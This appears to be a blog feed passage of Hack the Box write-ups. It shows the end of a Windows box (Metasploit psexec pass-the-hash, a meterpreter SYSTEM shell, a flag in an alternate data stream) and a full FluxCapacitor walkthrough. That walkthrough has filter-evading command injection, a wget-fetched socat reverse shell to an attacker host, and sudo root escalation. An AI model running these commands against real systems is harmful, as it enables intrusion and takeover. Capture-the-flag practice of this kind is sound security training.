(exploit/windows/smb/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 10.10.10.63 yes The target address RPORT 445 yes The SMB service port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 no The password for the specified username SMBUser Administrator no The username to authenticate as Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 10.10.15.30 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf exploit(windows/smb/psexec) &amp;gt; exploit -j -z [*] Exploit running as background job 2. [*] Started reverse TCP handler on 10.10.15.30:4444 [*] 10.10.10.63:445 - Connecting to the server... [*] 10.10.10.63:445 - Authenticating to 10.10.10.63:445 as user 'Administrator'... [*] 10.10.10.63:445 - Selecting PowerShell target [*] 10.10.10.63:445 - Executing the payload... [+] 10.10.10.63:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (179779 bytes) to 10.10.10.63 [*] Meterpreter session 3 opened (10.10.15.30:4444 -&amp;gt; 10.10.10.63:49686) at 2018-05-17 00:18:23 -0400 msf exploit(windows/smb/psexec) &amp;gt; sessions -i 3 [*] Starting interaction with 3... meterpreter &amp;gt; getuid Server username: NT AUTHORITY\SYSTEM meterpreter &amp;gt; Getting the “Hidden” root.txt meterpreter &amp;gt; cat hm.txt The flag is elsewhere. Look deeper We drop into a regular shell, and run a dir /a which will show all files with the “hidden” attribute set. C:\Users\Administrator\Desktop&amp;gt;dir /a Volume in drive C has no label. Volume Serial Number is BE50-B1C9 Directory of C:\Users\Administrator\Desktop 11/08/2017 10:05 AM &amp;lt;DIR&amp;gt; . 11/08/2017 10:05 AM &amp;lt;DIR&amp;gt; .. 11/03/2017 10:03 PM 282 desktop.ini 12/24/2017 03:51 AM 36 hm.txt 11/08/2017 10:05 AM 797 Windows 10 Update Assistant.lnk 3 File(s) 1,115 bytes 2 Dir(s) 7,032,709,120 bytes free dir /a will already show all of the hidden files on the system so likely the file is being hidden by another means. In windows the only way you can really hide files is either by setting the hidden attribute with an attrib +h &quot;whatever_thing_here&quot; or through something called an Alternate Data Stream which is an NTFS specific thing. To see files with an alternate data stream do a dir /R C:\Users\Administrator\Desktop&amp;gt;dir /R Volume in drive C has no label. Volume Serial Number is BE50-B1C9 Directory of C:\Users\Administrator\Desktop 11/08/2017 10:05 AM &amp;lt;DIR&amp;gt; . 11/08/2017 10:05 AM &amp;lt;DIR&amp;gt; .. 12/24/2017 03:51 AM 36 hm.txt 34 hm.txt:root.txt:$DATA 11/08/2017 10:05 AM 797 Windows 10 Update Assistant.lnk 2 File(s) 833 bytes 2 Dir(s) 7,030,882,304 bytes free That hm.txt:root.txt:$DATA means that the file root.txt is inside an alternate data stream inside hm.txt You can see the contents of an ADS stream a few different ways but the simplist way in my opinion is using the more command on windows… C:\Users\Administrator\Desktop&amp;gt;more &amp;lt; hm.txt:root.txt ...[FLAG REDACTED]... Box Complete :) References https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password http://www.labofapenetrationtester.com/2014/06/hacking-jenkins-servers.html https://medium.com/@exgq/hacking-jenkins-68f7f6a810eb https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe https://www.rubydevices.com.au/blog/how-to-hack-keepass https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html http://www.harmj0y.net/blog/penetesting/pass-the-hash-is-dead-long-live-pass-the-hash/</summary></entry><entry><title type="html">Hack the Box - FluxCapacitor Write up</title><link href="https://dastinia.io/write-up/hackthebox/2018/05/13/hackthebox-fluxcapacitor-writeup/" rel="alternate" type="text/html" title="Hack the Box - FluxCapacitor Write up" /><published>2018-05-13T00:00:00-04:00</published><updated>2018-05-13T00:00:00-04:00</updated><id>https://dastinia.io/write-up/hackthebox/2018/05/13/hackthebox-fluxcapacitor-writeup</id><content type="html" xml:base="https://dastinia.io/write-up/hackthebox/2018/05/13/hackthebox-fluxcapacitor-writeup/">&lt;h3 id=&quot;intro&quot;&gt;Intro&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/fluxcapacitor/1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;FluxCapacitor was both a pretty interesting, but annoying &amp;amp; the frustrating box while I was doing it my first time around – mainly due to my lack of experience with &lt;code class=&quot;highlighter-rouge&quot;&gt;wfuzz&lt;/code&gt;. Overall once I finally completed the box, and completed a second take on it, flux taught me quite a few tricks, especially when it came to web fuzzing utilities. I highly recommend you take a crack at it if you have the time.&lt;/p&gt;

&lt;h3 id=&quot;tools-used&quot;&gt;Tools Used&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/xmendez/wfuzz&quot;&gt;wfuzz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;cURL&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/craSH/socat&quot;&gt;socat&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;initial-scanning&quot;&gt;Initial Scanning&lt;/h3&gt;

&lt;p&gt;Let’s begin by scanning the machine FluxCapacitor at (10.10.10.69) with nmap.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@dastinia:~/htb/fluxcapacitor# &lt;/span&gt;nmap -T4 -sC -sV -n 10.10.10.69 -oA fluxcapacitor_inital

Starting Nmap 7.70 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2018-05-09 18:50 EDT
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;10.10.10.69
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.18s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;.
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    SuperWAF
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Wed, 09 May 2018 22:50:46 GMT
......... &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;TRUNCATED]......
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;From our initial scan it seems as though the only service flux has is a web server. In the background, I’ll go ahead and run a full port scan to ensure I didn’t potentially miss any additional ports/services.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@dastinia:~/htb/fluxcapacitor# &lt;/span&gt;nmap -T4 -sC -sV -n -p- 10.10.10.69 -oA fluxcapacitor_fullscan
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h3&gt;
&lt;p&gt;Visiting the web server in our browser gives us a pretty bare site, and uneventful site.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/fluxcapacitor/2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Viewing the source of the site reveals some interesting information in a comment.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Keep Alive&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
	OK: node1 alive
	&lt;span class=&quot;c&quot;&gt;&amp;lt;!--
		Please, add timestamp with something like:
		&amp;lt;script&amp;gt; $.ajax({ type: &quot;GET&quot;, url: '/sync' }); &amp;lt;/script&amp;gt;
	--&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;hr/&amp;gt;&lt;/span&gt;
	FluxCapacitor Inc. info@fluxcapacitor.htb - http://fluxcapacitor.htb&lt;span class=&quot;nt&quot;&gt;&amp;lt;br&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;em&amp;gt;&amp;lt;met&amp;gt;&amp;lt;doc&amp;gt;&amp;lt;brown&amp;gt;&lt;/span&gt;Roads? Where we're going, we don't need roads.&lt;span class=&quot;nt&quot;&gt;&amp;lt;/brown&amp;gt;&amp;lt;/doc&amp;gt;&amp;lt;/met&amp;gt;&amp;lt;/em&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;It seems that there is a route for a page located at &lt;code class=&quot;highlighter-rouge&quot;&gt;/sync&lt;/code&gt; in this application, which potentially has to do something with time. Attempting to visit the &lt;code class=&quot;highlighter-rouge&quot;&gt;/sync&lt;/code&gt; page in our browser automatically redirects us to a &lt;code class=&quot;highlighter-rouge&quot;&gt;403 Forbidden&lt;/code&gt; error message.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/fluxcapacitor/3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After attempting some research about &lt;code class=&quot;highlighter-rouge&quot;&gt;openresty/1.13.6.1&lt;/code&gt; I discovered that &lt;a href=&quot;https://github.com/openresty/openresty&quot;&gt;OpenResty&lt;/a&gt; from what I understood was a sort of web scriptable web server built on nginx.&lt;/p&gt;

&lt;p&gt;I tried cURL’ing the page to see if there was any sort of “filtering” or content change based on what client you used to access the page.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@dastinia:~# &lt;/span&gt;curl  http://10.10.10.69/sync
20180513T23:25:20
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Awesome we see a timestamp – after a bit of fiddling around you discover that certain user agents are being filtered like the &lt;code class=&quot;highlighter-rouge&quot;&gt;firefox&lt;/code&gt; &amp;amp; &lt;code class=&quot;highlighter-rouge&quot;&gt;gobuster&lt;/code&gt; user agents.&lt;/p&gt;

&lt;h3 id=&quot;fuzzing-sync&quot;&gt;Fuzzing /sync&lt;/h3&gt;
&lt;p&gt;We know that &lt;code class=&quot;highlighter-rouge&quot;&gt;/sync&lt;/code&gt; is doing &lt;em&gt;something&lt;/em&gt; underneath the hood, so the next step we can take is to try and fuzz for parameters &amp;amp; see how the application reacts, in the hopes of discovering additional functionality. We can use &lt;code class=&quot;highlighter-rouge&quot;&gt;wfuzz&lt;/code&gt; tool to complete this task.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/fluxcapacitor# wfuzz -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.69/sync?FUZZ=echo

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.69/sync?FUZZ=hostname
Total requests: 220560

==================================================================
ID      Response   Lines      Word         Chars          Payload
==================================================================

000001:  C=200      2 L        1 W           19 Ch        &quot;# directory-list-2.3-medium.txt&quot;
000002:  C=200      2 L        1 W           19 Ch        &quot;#&quot;
000007:  C=200      2 L        1 W           19 Ch        &quot;# license, visit http://creativecommons.org/licenses/by-sa/3.0/&quot;
000003:  C=200      2 L        1 W           19 Ch        &quot;# Copyright 2007 James Fisher&quot;
000004:  C=200      2 L        1 W           19 Ch        &quot;#&quot;
000005:  C=200      2 L        1 W           19 Ch        &quot;# This work is licensed under the Creative Commons&quot;
000006:  C=200      2 L        1 W           19 Ch        &quot;# Attribution-Share Alike 3.0 License. To view a copy of this&quot;
000008:  C=200      2 L        1 W           19 Ch        &quot;# or send a letter to Creative Commons, 171 Second Street,&quot;
000009:  C=200      2 L        1 W           19 Ch        &quot;# Suite 300, San Francisco, California, 94105, USA.&quot;
000010:  C=200      2 L        1 W           19 Ch        &quot;#&quot;
000027:  C=200      2 L        1 W           19 Ch        &quot;search&quot;
000028:  C=200      2 L        1 W           19 Ch        &quot;spacer&quot;
000030:  C=200      2 L        1 W           19 Ch        &quot;11&quot;
000029:  C=200      2 L        1 W           19 Ch        &quot;privacy&quot;
000031:  C=200      2 L        1 W           19 Ch        &quot;logo&quot;
000032:  C=200      2 L        1 W           19 Ch        &quot;blog&quot;
000033:  C=200      2 L        1 W           19 Ch        &quot;new&quot;
000011:  C=200      2 L        1 W           19 Ch        &quot;# Priority ordered case sensative list, where entries were found&quot;
000034:  C=200      2 L        1 W           19 Ch        &quot;10&quot;
000035:  C=200      2 L        1 W           19 Ch        &quot;cgi-bin&quot;
000036:  C=200      2 L        1 W           19 Ch        &quot;faq&quot;
000037:  C=200      2 L        1 W           19 Ch        &quot;rss&quot;
000040:  C=200      2 L        1 W           19 Ch        &quot;default&quot;
000038:  C=200      2 L        1 W           19 Ch        &quot;home&quot;
000039:  C=200      2 L        1 W           19 Ch        &quot;img&quot;
000041:  C=200      2 L        1 W           19 Ch        &quot;2005&quot;
........[TRUNCATED]........
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;As we can see we are getting a large amount of &lt;code class=&quot;highlighter-rouge&quot;&gt;200&lt;/code&gt; responses all of with length &lt;code class=&quot;highlighter-rouge&quot;&gt;19&lt;/code&gt; characters. They are basically the &lt;code class=&quot;highlighter-rouge&quot;&gt;time&lt;/code&gt; garbage responses so we can use this as the baseline of stuff to ignore/filter out, so anything different then the &lt;code class=&quot;highlighter-rouge&quot;&gt;200&lt;/code&gt; or &lt;code class=&quot;highlighter-rouge&quot;&gt;Char 19&lt;/code&gt; is something we should potentially investigate further.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/fluxcapacitor# wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hh=19 http://10.10.10.69/sync?FUZZ=echo

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.69/sync?FUZZ=echo
Total requests: 220560

==================================================================
ID      Response   Lines      Word         Chars          Payload
==================================================================

009874:  C=403      7 L       10 W          175 Ch        &quot;opt&quot;
010679:  C=200      2 L        1 W           19 Ch        &quot;NAS&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Interesting we got a different response from our filter word which means that &lt;code class=&quot;highlighter-rouge&quot;&gt;opt&lt;/code&gt; has a high change of being the parameter that &lt;code class=&quot;highlighter-rouge&quot;&gt;/sync&lt;/code&gt; is looking for.&lt;/p&gt;

&lt;p&gt;Side Note: This took some time, and looking back at it, I should have used a more tailored list like the &lt;a href=&quot;https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt&quot;&gt;Seclist Burp Parameter Names&lt;/a&gt; word list. Second time around doing this box it took less than two minutes to find the correct parameter. In the future, I should have done a bit more research into finding a bit more optimal list, doing so would have made this much easier.&lt;/p&gt;

&lt;p&gt;After fiddling around with the formatting &amp;amp; trying a few different escape mechanisms (it would 403 if you just straight up gave it a command) code execution was successfully achieved.&lt;/p&gt;

&lt;h3 id=&quot;getting-code-execution&quot;&gt;Getting Code Execution&lt;/h3&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@dastinia:~/htb/fluxcapacitor# &lt;/span&gt;curl &lt;span class=&quot;s2&quot;&gt;&quot;http://10.10.10.69/sync?opt='? &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\h\o&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;stname'&quot;&lt;/span&gt;
fluxcapacitor
bash: -c: option requires an argument
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@dastinia:~/htb/fluxcapacitor# &lt;/span&gt;curl &lt;span class=&quot;s2&quot;&gt;&quot;http://10.10.10.69/sync?opt='? &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\u\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ame -a'&quot;&lt;/span&gt;
Linux fluxcapacitor 4.13.0-17-generic &lt;span class=&quot;c&quot;&gt;#20-Ubuntu SMP Mon Nov 6 10:04:08 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux&lt;/span&gt;
bash: -c: option requires an argument
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h3 id=&quot;getting-user-shell&quot;&gt;Getting User Shell&lt;/h3&gt;
&lt;p&gt;You very quickly find out that there’s a multitude of characters and words being filtered. The next objective is to get a reverse shell so we don’t have to keep interacting with it through &lt;code class=&quot;highlighter-rouge&quot;&gt;cURL&lt;/code&gt;. &lt;code class=&quot;highlighter-rouge&quot;&gt;Socat&lt;/code&gt; is my tool of choice. It’s so versatile if I have the opportunity to use it, I will….&lt;/p&gt;

&lt;p&gt;Using forward slashes didn’t work particularly well with longer commands, so we are going to make the payload that we want the &lt;code class=&quot;highlighter-rouge&quot;&gt;index.html&lt;/code&gt; of our &lt;code class=&quot;highlighter-rouge&quot;&gt;python SimpleHTTPServer&lt;/code&gt; so that when we curl the page the command we want is what we see like so:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@dastinia:~/htb/fluxcapacitor# &lt;/span&gt;curl &lt;span class=&quot;s2&quot;&gt;&quot;http://10.10.10.69/sync?opt='? c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\u\r&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;l 10.10.14.27:9999 '&quot;&lt;/span&gt;
wget -q http://10.10.14.27:9999/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt;:&lt;span class=&quot;s1&quot;&gt;'bash -li'&lt;/span&gt;,pty,stderr,setsid,sigint,sane tcp:10.10.14.27:8282
bash: -c: option requires an argument
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@dastinia:~/htb/fluxcapacitor# &lt;/span&gt;curl &lt;span class=&quot;s2&quot;&gt;&quot;http://10.10.10.69/sync?opt='? c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\u\r&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;l 10.10.14.27:9999 -o /tmp/a'&quot;&lt;/span&gt;
bash: -c: option requires an argument
&lt;span class=&quot;gp&quot;&gt;root@dastinia:~/htb/fluxcapacitor# &lt;/span&gt;curl &lt;span class=&quot;s2&quot;&gt;&quot;http://10.10.10.69/sync?opt='? b&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\a\s\h&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; /tmp/a '&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@dastinia:~/htb/fluxcapacitor# &lt;/span&gt;socat file:&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;tty&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;,raw,echo&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0 tcp-listen:8282
&lt;span class=&quot;gp&quot;&gt;nobody@fluxcapacitor:/$ &lt;/span&gt;id
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;65534&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;nobody&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;65534&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;nogroup&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;65534&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;nogroup&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
nobody@fluxcapacitor:/&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;nobody@fluxcapacitor:/home/FluxCapacitorInc$ &lt;/span&gt;ls -la
total 12
drwxr-xr-x 2 nobody root 4096 Dec  5 14:58 .
drwxr-xr-x 4 root   root 4096 Dec  5 14:58 ..
-rw-r--r-- 1 root   root   33 Dec  5 14:58 user.txt
&lt;span class=&quot;gp&quot;&gt;nobody@fluxcapacitor:/home/FluxCapacitorInc$ &lt;/span&gt;cat user.txt
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;redacted]
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;privesc--getting-root&quot;&gt;Privesc &amp;amp; Getting Root&lt;/h3&gt;
&lt;p&gt;One of the first things I always do whenever I get on a box is running a &lt;code class=&quot;highlighter-rouge&quot;&gt;sudo -l&lt;/code&gt; to see what sudo commands the current user can run. For a good set of boxes running this first can potentially save you a whole lot of time while privescing…&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;nobody@fluxcapacitor:/home/FluxCapacitorInc$ &lt;/span&gt;sudo -l
Matching Defaults entries &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;nobody on fluxcapacitor:
    env_reset, mail_badpass,
    &lt;span class=&quot;nv&quot;&gt;secure_path&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/usr/local/bin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/usr/sbin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/usr/bin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/sbin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/bin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/snap/bin

User nobody may run the following commands on fluxcapacitor:
    &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ALL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ALL
    &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; NOPASSWD: /home/themiddle/.monit
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;So in this case it looks like that we can run whatever &lt;code class=&quot;highlighter-rouge&quot;&gt;/home/themiddle/.monit&lt;/code&gt; is as the &lt;code class=&quot;highlighter-rouge&quot;&gt;root&lt;/code&gt; user. So this very likely is our path for privesc. Lets see what this file contains…&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;nobody@fluxcapacitor:/home/FluxCapacitorInc$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /home/themiddle/
&lt;span class=&quot;gp&quot;&gt;nobody@fluxcapacitor:/home/themiddle$ &lt;/span&gt;cat .monit
&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;cmd&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;; &lt;span class=&quot;k&quot;&gt;then
        &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Trying to execute &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;CMD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -n &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; | base64 -d&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;
        bash -c &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CMD&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;So from what it looks like &lt;code class=&quot;highlighter-rouge&quot;&gt;.monit&lt;/code&gt; takes in a parameter &lt;code class=&quot;highlighter-rouge&quot;&gt;cmd&lt;/code&gt; which you can then pass in a &lt;code class=&quot;highlighter-rouge&quot;&gt;base64&lt;/code&gt; encoded string of whatever you want (your command), then it &lt;code class=&quot;highlighter-rouge&quot;&gt;base64 decodes&lt;/code&gt; the value &amp;amp; passes the result into &lt;code class=&quot;highlighter-rouge&quot;&gt;bash -c $value&lt;/code&gt;. We can very easily use this script to get ourselves a root shell with little effort.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;nobody@fluxcapacitor:/home/themiddle$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/bin/bash&quot;&lt;/span&gt; | base64
&lt;span class=&quot;nv&quot;&gt;L2Jpbi9iYXNoCg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;
&lt;span class=&quot;gp&quot;&gt;nobody@fluxcapacitor:/home/themiddle$ &lt;/span&gt;sudo /home/themiddle/.monit cmd &lt;span class=&quot;nv&quot;&gt;L2Jpbi9iYXNoCg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;
Trying to execute &lt;span class=&quot;nv&quot;&gt;L2Jpbi9iYXNoCg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Root :D&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@fluxcapacitor:/home/themiddle# &lt;/span&gt;id
